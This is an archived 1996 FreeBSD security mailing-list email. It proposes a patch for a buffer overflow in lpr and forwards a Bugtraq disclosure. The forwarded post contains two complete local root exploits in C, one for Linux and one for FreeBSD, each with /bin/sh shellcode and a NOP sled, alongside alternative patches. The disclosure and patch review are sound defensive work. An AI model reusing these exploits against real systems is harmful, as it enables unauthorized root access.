From owner-freebsd-security Fri Oct 25 10:37:35 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id KAA04534 for security-outgoing; Fri, 25 Oct 1996 10:37:35 -0700 (PDT) Received: from rover.village.org (rover.village.org [204.144.255.49]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id KAA04529 for ; Fri, 25 Oct 1996 10:37:27 -0700 (PDT) Received: from rover.village.org [127.0.0.1] by rover.village.org with esmtp (Exim 0.56 #1) id E0vGqC6-00023u-00; Fri, 25 Oct 1996 11:37:18 -0600 To: security@freebsd.org Subject: Vadim Kolontsov: BoS: Linux & BSD's lpr exploit Date: Fri, 25 Oct 1996 11:37:18 -0600 From: Warner Losh Message-Id: Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Here's a new LPR threat. I've come up with a patch that I'd like others on this list to vet. It is different than the one suggested by the author. I think it is better, but haven't thought through all the implications of it yet. Comments? Warner Index: lpr.c =================================================================== RCS file: /home/imp/FreeBSD/CVS/src/usr.sbin/lpr/lpr/lpr.c,v retrieving revision 1.7 diff -u -r1.7 lpr.c --- lpr.c 1996/05/11 19:00:55 1.7 +++ lpr.c 1996/10/25 17:32:12 @@ -466,9 +466,26 @@ register int c; register char *p2; { - char buf[BUFSIZ]; + static char *buf=0; + static int buflen=0; register char *p1 = buf; register int len = 2; + + /* + * Make sure that we have enough buffer for the card line to + * splat out. guard against huge requests running us out of + * memory (exit when this happens). + */ + if (buflen < strlen( p2 ) + 2) { + buflen = strlen( p2 ) + 2; + if (buflen < BUFSIZ) + buflen = BUFSIZ; + buf = buf ? realloc( buf, buflen ) : malloc( buflen ); + if (!buf) { + printf("Can't get buffer for card line\n"); + exit(1); + } + } *p1++ = c; while ((c = *p2++) != '\0') { ------- Forwarded Message [[ headers editied for length ]] Date: Fri, 25 Oct 1996 16:35:57 +0300 Reply-To: Vadim Kolontsov From: Vadim Kolontsov To: Multiple recipients of list BUGTRAQ Hello, there is a bug in berkeley-derived lpr, which allows attacker to get root access (see freebsd-security for details). Here is exploit for Linux (tested on 2.0.20), for BSD (tested on FreeBSD 2.1) and a patch. Best regards, Vadim. - -------------------------------------- linux_lpr_exploit.c ---------- #include #include #include #define DEFAULT_OFFSET 50 #define BUFFER_SIZE 1023 long get_esp(void) { __asm__("movl %esp,%eax\n"); } void main() { char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07" "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12" "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8" "\xd7\xff\xff\xff/bin/sh"; int i; buff = malloc(4096); if(!buff) { printf("can't allocate memory\n"); exit(0); } ptr = buff; memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); ptr += BUFFER_SIZE-strlen(execshell); for(i=0;i < strlen(execshell);i++) *(ptr++) = execshell[i]; addr_ptr = (long *)ptr; for(i=0;i<2;i++) *(addr_ptr++) = get_esp() + DEFAULT_OFFSET; ptr = (char *)addr_ptr; *ptr = 0; execl("/usr/bin/lpr", "lpr", "-C", buff, NULL); } - ------------------------------------------- bsd_lpr_exploit.c ------ #include #include #include #define DEFAULT_OFFSET 50 #define BUFFER_SIZE 1023 long get_esp(void) { __asm__("movl %esp,%eax\n"); } void main() { char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; char execshell[] = "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01" "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; int i; buff = malloc(4096); if(!buff) { printf("can't allocate memory\n"); exit(0); } ptr = buff; memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); ptr += BUFFER_SIZE-strlen(execshell); for(i=0;i < strlen(execshell);i++) *(ptr++) = execshell[i]; addr_ptr = (long *)ptr; for(i=0;i<2;i++) *(addr_ptr++) = get_esp() + DEFAULT_OFFSET; ptr = (char *)addr_ptr; *ptr = 0; execl("/usr/bin/lpr", "lpr", "-C", buff, NULL); } - -------------------------------------------------------------------------- Here is a little patch -- see file lpr.c, function card(): ("!!" marks added lines) - -------------------------------------------------------------------------- static void card(c, p2) register int c; register char *p2; { char buf[BUFSIZ]; register char *p1 = buf; register int len = 2; if (strlen(p2) > BUFSIZ-2) /* !! */ { /* !! */ printf("No, thanks...\n"); /* !! */ exit(1); /* !! */ } *p1++ = c; while ((c = *p2++) != '\0') { *p1++ = (c == '\n') ? ' ' : c; len++; } *p1++ = '\n'; write(tfd, buf, len); } With best regards, Vadim. - -------------------------------------------------------------------------- Vadim Kolontsov SysAdm/Programmer Tver Regional Center of New Information Technologies Networks Lab ------- End of Forwarded Message